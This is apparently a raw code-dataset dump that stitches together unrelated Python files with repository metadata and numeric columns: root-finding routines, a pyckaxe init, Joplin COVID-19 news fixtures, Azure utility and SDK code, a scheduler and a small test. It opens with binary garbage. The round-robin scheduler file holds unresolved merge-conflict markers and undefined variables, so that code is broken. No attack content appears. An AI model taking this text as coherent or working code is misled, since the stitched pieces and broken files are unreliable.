xfe\xd9`\x05\xdc\xe06bgKU\xf6\xf6\xae}?\xb8yW\xdb\x1a:\xec\x85\xe4\xf5\xe0\x9dR\xfc\x8e\xddp\x85E\xc5+\xb0LU\xfaadp_m\xf2\xf4\xd6\x88]R\x1de\x8f\xf1\xf7\x97\xc1\xd7ql\x17\xd0t\x9f\xf5\xd9\xf8\x94\xfe\xf7\xe0?x~\x9d]L\x89o\xf8\xe2\xe8\x1d\x9eu\x8b[\x1e\xfc\xcc\xd9\x15DQ\xf1\x11\x7f\x0f~\xbf\xf5\xfa\xfc\xc1\xfb\xf8\x06\xbb\xa4\xccm\x8bz\xdc\xe7\xe0\xcdb=\xc9\xa6\xb0W7\xd8r\x83\xdfh\xda\xdf\xb8\xe4\xc9\xaf\x83\xff\xe2\xae\xe2\xad\xd3\xc1\x0b\x06\xbf\xdc\x0c\xfetq\xf6~\xb0%\xe2\xc1;\xfa\x08;{\xda\xf6h\x93>\xb4\xefD\xfd\x9d\xc1\xab\n\xec\xe0\x03\\\xd4\xcf\xc1\x8b[\xfc\xe5\xff\xe8\xa3\xdd\xf42\xbe\xb4\x15\xf1~\xfa\xb5\x1d\x05~U\xf1+\xad\x96\xaf\xf9U\xb3\x84\xbf\x06W\x13\x97\xbf\xec\t`\x8f\xc7\xfe\x10\xcf\x11_\xd4\x87\xb6v.\x1f\xe3\xe5\xf2\xcd\xc3\xbf\xd8\xd0q\xfa\xc6>\xbb\xc2\x99\xe8\xa7\xee\xd9\xeb\xe3\x14\xffN\x0e\xfe\xca\xafc\xa1\x07\x97\x1b\xeb)h\x99\xb0\xb6m5X\xe9\x1a\xef\x92?\x7fo;\xa5\xcf\xed\x90\xd4\xcdS<\xfd\xd5\xafv\xc2\xfa\xd2N]\xdf\xfe>\xbd\xe6m\xcd\xf0\x08\x9a\xf2\xcc\x0e8\xec\x00\x8e\xa3/m_\xb4\xf8!W\xdcvT_\xd8k\xf8d\xca\x19\xdc\x91]S\x85_\xa8vdb\x06\xefT5\xb7\xecau\xdd\xf4.\xaeu\xbf^J\xb0\x8e\x83\r]c3\x94\x83\xed[ux\xf4\xf8O}\x80\xf7z\xae\x07\xd3\x7f\xb7\xc3\xcf\x9d\x93n\xdd\xb4{\xc51\x8a\xebw\xb6\x8d\xabt\xe2\xfe\xe0\xdby\xba65\xf8\x90:~g\xafiJ\xfcz\x82\xbb8\xb0\xfd\x1b\xf5\xe7\xbf\xcd\x9c\xe0\x86psulk\xf9\xef\xdf\xc1\xfbzld\x18\xc5\xde\xf6j\xf8\xda\xf5\xb8z\x1a\x8f\x8ao\xb6\xac\xaf\xec\xadqg\xf8\xcaG\x83]\xed3{6\xb0\x0eU\xba}g\xc7\xf6v\x89\xfd\xd6\x0cV\xddy\xdb\x0fu\xba\x8d\xdd>\x82-\xb0\xfd\xc5\x0eb\xd5\xce\x8d\x7f\xb4\xff\xba~\xfb\x9e\xbd\x89\xc3\x03\xce\xec\xe0\xd4\t^tm\xf0\x0e\x83\xff\xf8\xe4;^\x97\xdb\xfbUe\xbdd\xb6>\xd6\xa1\x81m\xc6\x95\xf8\xec\xbdn\xa7\xb5%\x88\x927\xa7\xf6\xc0<^\x86\x8b\xade\xda\xf1\xa8`&\x9c\xdd\x087Zk\xae\x03\xa7\xa6\xce\xcb\xc6\xf6k\xef\x9enc\x0bT\x9b\xd8\xa07\x06/\xc9\xed|\xe0O\xdd\xbc3\xdf\xd1\xb5\xf8\xe9\x03\xfb\xe8\x1eG\xdc/\xd9;\xd1 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except Exception as b: print(f'Error for : {b} ')

15,790.454545

173,536

0.734097

39,918

173,695

3.18801

0.16812

0.00033

0.000141

0

0.228264

0.00137

173,695

11

173,537

15,790.454545

0.505399

0.000282

0

32.2

0.638884

0.637151

0

1

0

true

0

0.2

0

0.2

0

null

0

1

0

1

0

1

null

0

1

0

7

0d8c555014d6c345faed3b6ff060a2f717fb32cc

164

py

Python

pyckaxe/lib/pack/resource_loader/__init__.py

Arcensoth/pyckaxe

09ed0828d6660a233b827721454293579329991b

[ "MIT" ]

3

2018-09-23T05:16:44.000Z

2021-12-23T03:06:07.000Z

pyckaxe/lib/pack/resource_loader/__init__.py

Arcensoth/pyckaxe

09ed0828d6660a233b827721454293579329991b

[ "MIT" ]

5

2018-07-11T02:31:56.000Z

2018-07-11T03:15:05.000Z

pyckaxe/lib/pack/resource_loader/__init__.py

Arcensoth/pyckaxe

09ed0828d6660a233b827721454293579329991b

[ "MIT" ]

null

from .abc import * from .common_resource_loader import * from .json_resource_loader import * from .nbt_resource_loader import * from .text_resource_loader import *

27.333333

37

0.817073

23

164

5.478261

0.391304

0.31746

0.634921

0.571429

0

0.121951

164

5

38

32.8

0.875

0

1

0

true

0

1

0

1

0

1

0

null

1

0

1

0

null

0

1

0

1

0

1

0

8

0dc59398bbc0f04688049b0f112a10f309082e10

11,517

py

Python

nupy/iterative_methods/iterative_methods.py

begeistert/nupy

b1026afc21b9a985a3329f1a16006aec8fa4d726

[ "MIT" ]

null

nupy/iterative_methods/iterative_methods.py

begeistert/nupy

b1026afc21b9a985a3329f1a16006aec8fa4d726

[ "MIT" ]

null

nupy/iterative_methods/iterative_methods.py

begeistert/nupy

b1026afc21b9a985a3329f1a16006aec8fa4d726

[ "MIT" ]

null

from nupy.sympy_algebra import evaluate, derive from pandas import DataFrame, set_option def __configure__(): set_option("display.precision", 20) set_option('colheader_justify', 'center') def intermediate_value(function, variable, intervals, tolerance=1e-10, limit=250, just_root=False): """ Gets the root of the given expression through iterations ==== :param function: Expression to iterate :param variable: Expression variable :param intervals: Iteration intervals :param tolerance: Error tolerance :param limit: Iteration limit :param just_root: Switch between DataFrame and root :return: Return a DataFrame if just_root is not or false, otherwise return the root of the expression """ __configure__() iterations = { 'a_n': [], 'b_n': [], 'p_n': [], 'f_n': [] } header = ['a_n', 'b_n', 'p_n', 'f_n'] fa_1 = intervals[0] fb = intervals[1] pn_1 = sum(intervals) / 2 condition = evaluate(function=function, variable=variable, value=fa_1) * evaluate(function=function, variable=variable, value=fb) iteration_1 = 0 if condition < 0: while True: if iteration_1 == 0: fn_1 = evaluate(function=function, variable=variable, value=pn_1) fx_1 = evaluate(function=function, variable=variable, value=fa_1) * fn_1 iterations['a_n'].append(intervals[0]) iterations['b_n'].append(intervals[1]) iterations['p_n'].append(pn_1) iterations['f_n'].append(evaluate(function=function, variable=variable, value=pn_1)) if fx_1 < 0: fx_1 *= -1.0 if fx_1 < tolerance: break else: fb = pn_1 else: if fx_1 < tolerance: break else: fa_1 = pn_1 iteration_1 += 1 else: pn_1 = (fa_1 + fb) / 2 fn_1 = evaluate(function=function, variable=variable, value=pn_1) fx_1 = evaluate(function=function, variable=variable, value=fa_1) * fn_1 iterations['a_n'].append(fa_1) iterations['b_n'].append(fb) iterations['p_n'].append(((fa_1 + fb) / 2)) iterations['f_n'].append(fn_1) if fx_1 < 0: fx_1 *= -1.0 if fx_1 < tolerance: break else: fb = pn_1 else: if fx_1 < tolerance: break else: fa_1 = pn_1 iteration_1 += 1 if iteration_1 > limit: break data = DataFrame(iterations, columns=header) return data if not just_root else iterations["p_n"][iteration_1 - 1] def secant(function, variable, intervals, tolerance=1e-10, limit=250, just_root=False): """ Gets the root of the given expression through iterations ==== :param function: Expression to iterate :param variable: Expression variable :param intervals: Iteration intervals :param tolerance: Error tolerance :param limit: Iteration limit :param just_root: Switch between DataFrame and root :return: Return a DataFrame if just_root is not or false, otherwise return the root of the expression """ __configure__() iterations = { 'x_n': [], 'f(x_n)': [] } header = ['x_n', 'f(x_n)'] x_0 = 0.0 x = 0.0 n_iteration = 1 while True: if n_iteration == 1: x_0 = intervals[0] x = intervals[1] fx_n_1 = evaluate(function, variable, x) fx_n = evaluate(function, variable, x_0) x_x_0 = x - x_0 x_x = (x - fx_n_1 * x_x_0) / (fx_n_1 - fx_n) iterations['x_n'].append(x) iterations['f(x_n)'].append(fx_n) e_x = fx_n if e_x < 0: t_r = e_x * -1.0 if t_r < tolerance: break else: x_0 = x x = x_x else: if e_x < tolerance: break else: x_0 = x x = x_x n_iteration += 1 else: fx_n_1 = evaluate(function, variable, x) fx_n = evaluate(function, variable, x_0) x_x_0 = x - x_0 if fx_n_1 - fx_n != 0: x_x = (x - fx_n_1 * x_x_0 / (fx_n_1 - fx_n)) else: break iterations['x_n'].append(x) iterations['f(x_n)'].append(fx_n) e_x = fx_n if e_x < 0: t_r = e_x * -1.0 if t_r < tolerance: break else: x_0 = x x = x_x else: if e_x < tolerance: break else: x_0 = x x = x_x n_iteration += 1 if limit > 0: if n_iteration > limit: break elif n_iteration > 250: break elif n_iteration > 250: break data = DataFrame(iterations, columns=header) return data if not just_root else iterations['x_n'][len(iterations['x_n']) - 1] def fixedPoint(function, variable, intervals, tolerance=1e-10, limit=250, just_root=False): """ Gets the root of the given expression through iterations ==== :param function: Expression to iterate :param variable: Expression variable :param intervals: Iteration intervals :param tolerance: Error tolerance :param limit: Iteration limit :param just_root: Switch between DataFrame and root :return: Return a DataFrame if just_root is not or false, otherwise return the root of the expression """ __configure__() iterations = { 'x_n': [], 'f(x_n)': [] } header = ['x_n', 'f(x_n)'] diff = derive(function, variable) x0 = intervals[0] x = "x-((%s)/(%s))" % (function, diff) xn = evaluate(x, variable, x0) niter = 0 iterations['x_n'].append(x0) iterations['f(x_n)'].append(xn) cond = x0 - xn if cond < 0: cond *= -1 while cond > tolerance: x0 = xn xn = evaluate(x, variable, x0) niter += 1 iterations['x_n'].append(x0) iterations['f(x_n)'].append(xn) cond = x0 - xn if cond < 0: cond *= -1 if limit > 0: if niter > limit: break elif niter >= 250: break elif niter >= 250: break data = DataFrame(iterations, columns=header) return data if not just_root else iterations['x_n'][len(iterations['x_n']) - 1] def falsePosition(function, variable, intervals, tolerance=1e-10, limit=250, just_root=False): """ Gets the root of the given expression through iterations ==== :param function: Expression to iterate :param variable: Expression variable :param intervals: Iteration intervals :param tolerance: Error tolerance :param limit: Iteration limit :param just_root: Switch between DataFrame and root :return: Return a DataFrame if just_root is not or false, otherwise return the root of the expression """ __configure__() x_0 = intervals[0] x = intervals[1] n_iteration = 1 iterations = { 'a_n': [], 'b_n': [], 'p_n': [], 'f_n': [] } header = ['a_n', 'b_n', 'p_n', 'f_n'] condition = 0.0 stop = False x_x = 0.0 t_r = 0.0 e_x = 0.0 while not stop: if n_iteration == 1: fx_n_1 = evaluate(function, variable, x) fx_n = evaluate(function, variable, x_0) x_x_0 = x - x_0 x_x = (x - fx_n_1 * x_x_0 / (fx_n_1 - fx_n)) fp_n = evaluate(function, variable, x_x) iterations['b_n'].append(x) iterations['a_n'].append(x_0) iterations['p_n'].append(x_x) iterations['f_n'].append(fp_n) f_n = evaluate(function, variable, x_0) * fp_n if f_n > 0: e_x = fp_n if e_x < 0: t_r = e_x * -1.0 if t_r < tolerance: break else: if fp_n > 0: x = x_x elif fp_n < 0: x_0 = x_x else: if e_x < tolerance: break else: if fp_n > 0: x = x_x elif fp_n < 0: x_0 = x_x else: e_x = fp_n if e_x < 0: t_r = e_x * -1.0 if t_r < tolerance: break else: if fp_n > 0: x = x_x elif fp_n < 0: x_0 = x_x else: if e_x < tolerance: break else: if fp_n > 0: x = x_x elif fp_n < 0: x_0 = x_x n_iteration += 1 else: fx_n_1 = evaluate(function, variable, x) fx_n = evaluate(function, variable, x_0) x_x_0 = x - x_0 x_x = (x - fx_n_1 * x_x_0 / (fx_n_1 - fx_n)) fp_n = evaluate(function, variable, x_x) iterations['b_n'].append(x) iterations['a_n'].append(x_0) iterations['p_n'].append(x_x) iterations['f_n'].append(fp_n) e_x = fp_n if e_x < 0: t_r = e_x * -1.0 if t_r < tolerance or condition == e_x: break else: if fp_n > 0: x = x_x elif fp_n < 0: x_0 = x_x condition = e_x else: if e_x < tolerance or condition == e_x: break else: if fp_n > 0: x = x_x elif fp_n < 0: x_0 = x_x condition = e_x n_iteration += 2 if limit != 0: if n_iteration > limit: break else: if n_iteration > 250: break data = DataFrame(iterations, columns=header) return data if not just_root else iterations['p_n'][len(iterations['p_n']) - 1]

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216f543361dddb41855bac2c6d9e52d2706c5e52

6,112

py

Python

joplin/pages/news_page/fixtures/helpers/components.py

cityofaustin/joplin

01424e46993e9b1c8e57391d6b7d9448f31d596b

[ "MIT" ]

15

2018-09-27T07:36:30.000Z

2021-08-03T16:01:21.000Z

joplin/pages/news_page/fixtures/helpers/components.py

cityofaustin/joplin

01424e46993e9b1c8e57391d6b7d9448f31d596b

[ "MIT" ]

183

2017-11-16T23:30:47.000Z

2020-12-18T21:43:36.000Z

joplin/pages/news_page/fixtures/helpers/components.py

cityofaustin/joplin

01424e46993e9b1c8e57391d6b7d9448f31d596b

[ "MIT" ]

12

2017-12-12T22:48:05.000Z

2021-03-01T18:01:24.000Z

''' components.py contains elements that may be used interchangeably with multiple fixtures ''' from pages.home_page.models import HomePage def home(): return HomePage.objects.first() mvp_news_title = 'Health Authorities Continue to Stress the Importance of Stay at Home & Social Distancing Guidelines' google_translated_mvp_news_title = 'Las autoridades de salud continúan enfatizando la importancia de permanecer en el hogar y las pautas de distancia social' mvp_news_body = 'Austin, TX — An individual in their 20s is in critical condition at a local hospital. Austin-Travis County Interim Health Authority, Dr. Mark Escott, continues to urge the public to stay home except for essential activities to reduce the risk of spreading COVID-19.“The health of the public is in the hands of the community,” said Dr. Escott. “It is important to understand that young people are not immune from serious illness. We implore the community to stay at home even if you are not feeling ill, and before leaving your house ask yourself ‘Is this trip necessary?’ It is the entire community’s responsibility to stop the spread, including our young adults and teens.”People with mild symptoms may significantly contribute to further viral spread to others–including other patients and medical staff.“Those who only present mild symptoms may be a significant contribution to spread and therefore, everyone should stay home unless absolutely necessary,” added Dr. Escott.If you are exhibiting COVID-19 symptoms such as fever, dry cough and shortness of breath, call your health care provider or use <a href=\"http://fake.base.url/telehealth-resources/\">telehealth resources</a> before visiting a hospital or urgent care clinic. Individuals who are uninsured or without an established provider can call the CommUnity Care COVID-19 Hotline at <a href=\"tel:512-978-8775\">512-978-8775</a> for guidance.A healthcare provider will determine if there is another plausible diagnosis with similar symptoms (i.e. influenza). For suspected COVID-19 cases, your doctor will fill out a form. Austin Public Health (APH) will use this information to assess risk and criteria to determine whether a test is appropriate.APH continues to stress the importance of practicing good personal hygiene and maintaining social distance during essential activities to disrupt the spread of the virus.Proper hygiene practices include:<ul><li>Wash your hands often with soap and water for at least 20 seconds. If soap and water are unavailable, use an alcohol-based hand sanitizer.</li><li>Avoid touching your eyes, nose, and mouth with unwashed hands.</li><li>Avoid close contact with people who are sick.</li><li>Stay home when you are sick.</li><li>Cough or sneeze into your elbow or use a tissue to cover it, then throw the tissue in the trash.</li><li>Clean and disinfect frequently touched objects and surfaces.</li></ul>For more information and updates, visit <a href=\"http://www.AustinTexas.gov/COVID19\">www.AustinTexas.gov/COVID19</a>.' google_translated_mvp_news_body = ' Austin, TX - Un individuo de 20 años está en estado crítico en un hospital local. La Autoridad de Salud Provisional del Condado de Austin-Travis, Dr. Mark Escott, continúa instando al público a quedarse en casa, excepto por actividades esenciales para reducir el riesgo de propagar COVID-19. " La salud del público está en manos de la comunidad ”, dijo el Dr. Escott. “Es importante comprender que los jóvenes no son inmunes a las enfermedades graves. Implicamos a la comunidad que se quede en casa incluso si no se siente enfermo, y antes de salir de su casa pregúntese "¿Es necesario este viaje?" Es responsabilidad de toda la comunidad detener la propagación, incluidos nuestros adultos jóvenes y adolescentes ". Las personas con síntomas leves pueden contribuir significativamente a una mayor propagación viral a otros, incluidos otros pacientes y personal médico. "Esos quienes solo presentan síntomas leves pueden ser una contribución significativa a la propagación y, por lo tanto, todos deben quedarse en casa a menos que sea absolutamente necesario ", agregó el Dr. Escott. Si está exhibiendo COVID-19 síntomas como fiebre, tos seca y falta de aliento, llame a su proveedor de atención médica o use <a href=\"http://fake.base.url/telehealth-resources/\"> recursos de telesalud </a> antes de visitar Un hospital o clínica de atención urgente. Las personas sin seguro o sin un proveedor establecido pueden llamar a la línea directa COVID-19 de CommUnity Care al <a href=\"tel:512-978-8775\"> 512-978-8775 </a> para obtener orientación. Un proveedor de atención médica determinará si existe otro diagnóstico plausible con síntomas similares (es decir, influenza). Para casos sospechosos de COVID-19, su médico completará un formulario. Austin Public Health (APH) utilizará esta información para evaluar el riesgo y los criterios para determinar si una prueba es apropiada. APH continúa enfatizando la importancia de practicar una buena higiene personal y mantener distancia social durante las actividades esenciales para interrumpir la propagación del virus. Las prácticas de higiene adecuadas incluyen: <ul> <li> Lávese las manos a menudo con agua y jabón por al menos 20 segundos. Si no hay agua y jabón disponibles, use un desinfectante para manos a base de alcohol. </li> <li> Evite tocarse los ojos, la nariz y la boca con las manos sin lavar. </li> <li> Evite el contacto cercano con personas enfermas . </li> <li> Quédese en casa cuando esté enfermo. </li> <li> Tosa o estornude en su codo o use un pañuelo para cubrirlo, luego tírelo a la basura. </li> <li > Limpie y desinfecte objetos y superficies que se tocan con frecuencia. </li> </ul> Para obtener más información y actualizaciones, visite <a href=\"http://www.AustinTexas.gov/COVID19\"> www. AustinTexas.gov/COVID19 </a>. '

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21e18e5f0f861c7c99e9293a25b257de7375254d

181

py

Python

azure_automation_utility/__init__.py

WenJason/azure_automation_utility-master

13a95240907bd3d970ea382c1181d7de21c0ec91

[ "MIT" ]

8

2018-09-14T08:05:51.000Z

2022-02-10T16:33:27.000Z

azure_automation_utility/__init__.py

WenJason/azure_automation_utility-master

13a95240907bd3d970ea382c1181d7de21c0ec91

[ "MIT" ]

1

2019-10-04T18:32:15.000Z

2019-10-04T18:41:16.000Z

azure_automation_utility/__init__.py

WenJason/azure_automation_utility-master

13a95240907bd3d970ea382c1181d7de21c0ec91

[ "MIT" ]

11

2018-09-10T15:12:43.000Z

2022-02-10T16:33:30.000Z

from .utility import get_automation_runas_credential from .utility import get_automation_runas_token from .utility import import_child_runbook from .utility import load_webhook_body

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df109681beb2d2df59774904bd2fdc564f8d9b94

3,434

py

Python

src/rr.py

hrithikbhat019/OS-Simulation

76521b130c41aae3ba157b3f07e54f7db4ab374d

[ "MIT" ]

null

src/rr.py

hrithikbhat019/OS-Simulation

76521b130c41aae3ba157b3f07e54f7db4ab374d

[ "MIT" ]

null

src/rr.py

hrithikbhat019/OS-Simulation

76521b130c41aae3ba157b3f07e54f7db4ab374d

[ "MIT" ]

1

2020-05-28T05:53:36.000Z

<<<<<<< HEAD from queue import * from operator import itemgetter def rr(data): process = {} process['table'] = data process['gantt'] = [] Q = Queue(maxsize=50) time = 0 left = n flag = 0 a_tat = 0.0 a_wt = 0.0 process['table'] = sorted(process['table'], key=itemgetter('at')) time = process['table'][0]['at'] for x in process['table']: if x['at']==time: Q.put(x) #print process while left!=0: flag = 0 prev = time a = not Q.empty() if a: temp = Q.get() gtemp = {} gtemp['no'] = temp['no'] #print temp if temp['bt']<=tq: gtemp['start'] = time time += temp['bt'] gtemp['stop'] = time temp['bt'] = 0 flag = 1 else: temp['bt'] -= tq gtemp['start'] = time time += tq gtemp['stop'] = time process['gantt'].append(gtemp); else: process['gantt'].append({'no' : -1, 'start' : time, 'stop' : time+1}) time += 1 for proc in process['table']: if proc['at']>prev and proc['at']<=time: Q.put(proc) if flag==1: left -= 1 temp['ct'] = time temp['tat'] = temp['ct'] - temp['at'] temp['wt'] = temp['tat'] - temp['bt'] a_tat += temp['tat'] a_wt += temp['wt'] print 'Process %d has completed at time %d'%(temp['no'], time) elif a: Q.put(temp) print process['gantt'] ======= from queue import * from operator import itemgetter def rr(data): process = {} process['table'] = data process['gantt'] = [] Q = Queue(maxsize=50) time = 0 left = n flag = 0 a_tat = 0.0 a_wt = 0.0 process['table'] = sorted(process['table'], key=itemgetter('at')) time = process['table'][0]['at'] for x in process['table']: if x['at']==time: Q.put(x) #print process while left!=0: flag = 0 prev = time a = not Q.empty() if a: temp = Q.get() gtemp = {} gtemp['no'] = temp['no'] #print temp if temp['bt']<=tq: gtemp['start'] = time time += temp['bt'] gtemp['stop'] = time temp['bt'] = 0 flag = 1 else: temp['bt'] -= tq gtemp['start'] = time time += tq gtemp['stop'] = time process['gantt'].append(gtemp); else: process['gantt'].append({'no' : -1, 'start' : time, 'stop' : time+1}) time += 1 for proc in process['table']: if proc['at']>prev and proc['at']<=time: Q.put(proc) if flag==1: left -= 1 temp['ct'] = time temp['tat'] = temp['ct'] - temp['at'] temp['wt'] = temp['tat'] - temp['bt'] a_tat += temp['tat'] a_wt += temp['wt'] print 'Process %d has completed at time %d'%(temp['no'], time) elif a: Q.put(temp) print process['gantt'] >>>>>>> 6e16703d4696ce2b8fea3992d628c26052ff7d73

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80370c255bedf0f3e4f774519e6467240602f1e6

228

py

Python

tests/test_utils.py

123joshuawu/orca

741856dc264ffd38a7de8c2da1847543fd8c84d1

[ "0BSD" ]

6

2020-12-09T01:53:40.000Z

2021-04-12T16:05:45.000Z

tests/test_utils.py

123joshuawu/orca

741856dc264ffd38a7de8c2da1847543fd8c84d1

[ "0BSD" ]

13

2020-12-04T20:42:33.000Z

2021-04-17T20:15:11.000Z

tests/test_utils.py

123joshuawu/orca

741856dc264ffd38a7de8c2da1847543fd8c84d1

[ "0BSD" ]

1

2020-12-28T01:31:28.000Z

from api.parser.utils import sanitize def test_sanitize(): assert sanitize("hello world") == "hello world" assert sanitize(" hello world ") == "hello world" assert sanitize(" \thello\nworld ") == "hello world"

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80456fe9eea88e562e4847a02e9a13bd6d61e996

122,866

py

Python

azure-mgmt-web/azure/mgmt/web/operations/hosting_environments_operations.py

HydAu/AzureSDKForPython

5cbe34e9e0b8ea1faacc9f205633ccc0b885c0f3

[ "Apache-2.0" ]

null

azure-mgmt-web/azure/mgmt/web/operations/hosting_environments_operations.py

HydAu/AzureSDKForPython

5cbe34e9e0b8ea1faacc9f205633ccc0b885c0f3

[ "Apache-2.0" ]

null

azure-mgmt-web/azure/mgmt/web/operations/hosting_environments_operations.py

HydAu/AzureSDKForPython

5cbe34e9e0b8ea1faacc9f205633ccc0b885c0f3

[ "Apache-2.0" ]

null

# coding=utf-8 # -------------------------------------------------------------------------- # Copyright (c) Microsoft and contributors. All rights reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # # See the License for the specific language governing permissions and # limitations under the License. # # Code generated by Microsoft (R) AutoRest Code Generator. # Changes may cause incorrect behavior and will be lost if the code is # regenerated. # -------------------------------------------------------------------------- from msrest.pipeline import ClientRawResponse from msrestazure.azure_exceptions import CloudError from msrestazure.azure_operation import AzureOperationPoller import uuid from .. import models class HostingEnvironmentsOperations(object): """HostingEnvironmentsOperations operations. :param client: Client for service requests. :param config: Configuration of service client. :param serializer: An object model serializer. :param deserializer: An objec model deserializer. """ def __init__(self, client, config, serializer, deserializer): self._client = client self._serialize = serializer self._deserialize = deserializer self.config = config def get_hosting_environment( self, resource_group_name, name, custom_headers=None, raw=False, **operation_config): """ Get properties of hostingEnvironment (App Service Environment). :param resource_group_name: Name of resource group :type resource_group_name: str :param name: Name of hostingEnvironment (App Service Environment) :type name: str :param dict custom_headers: headers that will be added to the request :param bool raw: returns the direct response alongside the deserialized response :param operation_config: :ref:`Operation configuration overrides<msrest:optionsforoperations>`. :rtype: :class:`HostingEnvironment <azure.mgmt.web.models.HostingEnvironment>` :rtype: :class:`ClientRawResponse<msrest.pipeline.ClientRawResponse>` if raw=true """ # Construct URL url = '/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Web/hostingEnvironments/{name}' path_format_arguments = { 'resourceGroupName': self._serialize.url("resource_group_name", resource_group_name, 'str'), 'name': self._serialize.url("name", name, 'str'), 'subscriptionId': self._serialize.url("self.config.subscription_id", self.config.subscription_id, 'str') } url = self._client.format_url(url, **path_format_arguments) # Construct parameters query_parameters = {} query_parameters['api-version'] = self._serialize.query("self.config.api_version", self.config.api_version, 'str') # Construct headers header_parameters = {} header_parameters['Content-Type'] = 'application/json; charset=utf-8' if self.config.generate_client_request_id: header_parameters['x-ms-client-request-id'] = str(uuid.uuid1()) if custom_headers: header_parameters.update(custom_headers) if self.config.accept_language is not None: header_parameters['accept-language'] = self._serialize.header("self.config.accept_language", self.config.accept_language, 'str') # Construct and send request request = self._client.get(url, query_parameters) response = self._client.send(request, header_parameters, **operation_config) if response.status_code not in [200]: exp = CloudError(response) exp.request_id = response.headers.get('x-ms-request-id') raise exp deserialized = None if response.status_code == 200: deserialized = self._deserialize('HostingEnvironment', response) if raw: client_raw_response = ClientRawResponse(deserialized, response) return client_raw_response return deserialized def create_or_update_hosting_environment( self, resource_group_name, name, hosting_environment_envelope, custom_headers=None, raw=False, **operation_config): """ Create or update a hostingEnvironment (App Service Environment). :param resource_group_name: Name of resource group :type resource_group_name: str :param name: Name of hostingEnvironment (App Service Environment) :type name: str :param hosting_environment_envelope: Properties of hostingEnvironment (App Service Environment) :type hosting_environment_envelope: :class:`HostingEnvironment <azure.mgmt.web.models.HostingEnvironment>` :param dict custom_headers: headers that will be added to the request :param bool raw: returns the direct response alongside the deserialized response :rtype: :class:`AzureOperationPoller<msrestazure.azure_operation.AzureOperationPoller>` instance that returns :class:`HostingEnvironment <azure.mgmt.web.models.HostingEnvironment>` :rtype: :class:`ClientRawResponse<msrest.pipeline.ClientRawResponse>` if raw=true """ # Construct URL url = '/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Web/hostingEnvironments/{name}' path_format_arguments = { 'resourceGroupName': self._serialize.url("resource_group_name", resource_group_name, 'str'), 'name': self._serialize.url("name", name, 'str'), 'subscriptionId': self._serialize.url("self.config.subscription_id", self.config.subscription_id, 'str') } url = self._client.format_url(url, **path_format_arguments) # Construct parameters query_parameters = {} query_parameters['api-version'] = self._serialize.query("self.config.api_version", self.config.api_version, 'str') # Construct headers header_parameters = {} header_parameters['Content-Type'] = 'application/json; charset=utf-8' if self.config.generate_client_request_id: header_parameters['x-ms-client-request-id'] = str(uuid.uuid1()) if custom_headers: header_parameters.update(custom_headers) if self.config.accept_language is not None: header_parameters['accept-language'] = self._serialize.header("self.config.accept_language", self.config.accept_language, 'str') # Construct body body_content = self._serialize.body(hosting_environment_envelope, 'HostingEnvironment') # Construct and send request def long_running_send(): request = self._client.put(url, query_parameters) return self._client.send( request, header_parameters, body_content, **operation_config) def get_long_running_status(status_link, headers=None): request = self._client.get(status_link) if headers: request.headers.update(headers) return self._client.send( request, header_parameters, **operation_config) def get_long_running_output(response): if response.status_code not in [200, 202, 400, 404, 409]: exp = CloudError(response) exp.request_id = response.headers.get('x-ms-request-id') raise exp deserialized = None if response.status_code == 200: deserialized = self._deserialize('HostingEnvironment', response) if response.status_code == 202: deserialized = self._deserialize('HostingEnvironment', response) if raw: client_raw_response = ClientRawResponse(deserialized, response) return client_raw_response return deserialized if raw: response = long_running_send() return get_long_running_output(response) long_running_operation_timeout = operation_config.get( 'long_running_operation_timeout', self.config.long_running_operation_timeout) return AzureOperationPoller( long_running_send, get_long_running_output, get_long_running_status, long_running_operation_timeout) def delete_hosting_environment( self, resource_group_name, name, force_delete=None, custom_headers=None, raw=False, **operation_config): """ Delete a hostingEnvironment (App Service Environment). :param resource_group_name: Name of resource group :type resource_group_name: str :param name: Name of hostingEnvironment (App Service Environment) :type name: str :param force_delete: Delete even if the hostingEnvironment (App Service Environment) contains resources :type force_delete: bool :param dict custom_headers: headers that will be added to the request :param bool raw: returns the direct response alongside the deserialized response :rtype: :class:`AzureOperationPoller<msrestazure.azure_operation.AzureOperationPoller>` instance that returns object :rtype: :class:`ClientRawResponse<msrest.pipeline.ClientRawResponse>` if raw=true """ # Construct URL url = '/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Web/hostingEnvironments/{name}' path_format_arguments = { 'resourceGroupName': self._serialize.url("resource_group_name", resource_group_name, 'str'), 'name': self._serialize.url("name", name, 'str'), 'subscriptionId': self._serialize.url("self.config.subscription_id", self.config.subscription_id, 'str') } url = self._client.format_url(url, **path_format_arguments) # Construct parameters query_parameters = {} if force_delete is not None: query_parameters['forceDelete'] = self._serialize.query("force_delete", force_delete, 'bool') query_parameters['api-version'] = self._serialize.query("self.config.api_version", self.config.api_version, 'str') # Construct headers header_parameters = {} header_parameters['Content-Type'] = 'application/json; charset=utf-8' if self.config.generate_client_request_id: header_parameters['x-ms-client-request-id'] = str(uuid.uuid1()) if custom_headers: header_parameters.update(custom_headers) if self.config.accept_language is not None: header_parameters['accept-language'] = self._serialize.header("self.config.accept_language", self.config.accept_language, 'str') # Construct and send request def long_running_send(): request = self._client.delete(url, query_parameters) return self._client.send(request, header_parameters, **operation_config) def get_long_running_status(status_link, headers=None): request = self._client.get(status_link) if headers: request.headers.update(headers) return self._client.send( request, header_parameters, **operation_config) def get_long_running_output(response): if response.status_code not in [200, 202, 400, 404, 409]: exp = CloudError(response) exp.request_id = response.headers.get('x-ms-request-id') raise exp deserialized = None if response.status_code == 200: deserialized = self._deserialize('object', response) if response.status_code == 202: deserialized = self._deserialize('object', response) if raw: client_raw_response = ClientRawResponse(deserialized, response) return client_raw_response return deserialized if raw: response = long_running_send() return get_long_running_output(response) long_running_operation_timeout = operation_config.get( 'long_running_operation_timeout', self.config.long_running_operation_timeout) return AzureOperationPoller( long_running_send, get_long_running_output, get_long_running_status, long_running_operation_timeout) def get_hosting_environment_diagnostics( self, resource_group_name, name, custom_headers=None, raw=False, **operation_config): """ Get diagnostic information for hostingEnvironment (App Service Environment). :param resource_group_name: Name of resource group :type resource_group_name: str :param name: Name of hostingEnvironment (App Service Environment) 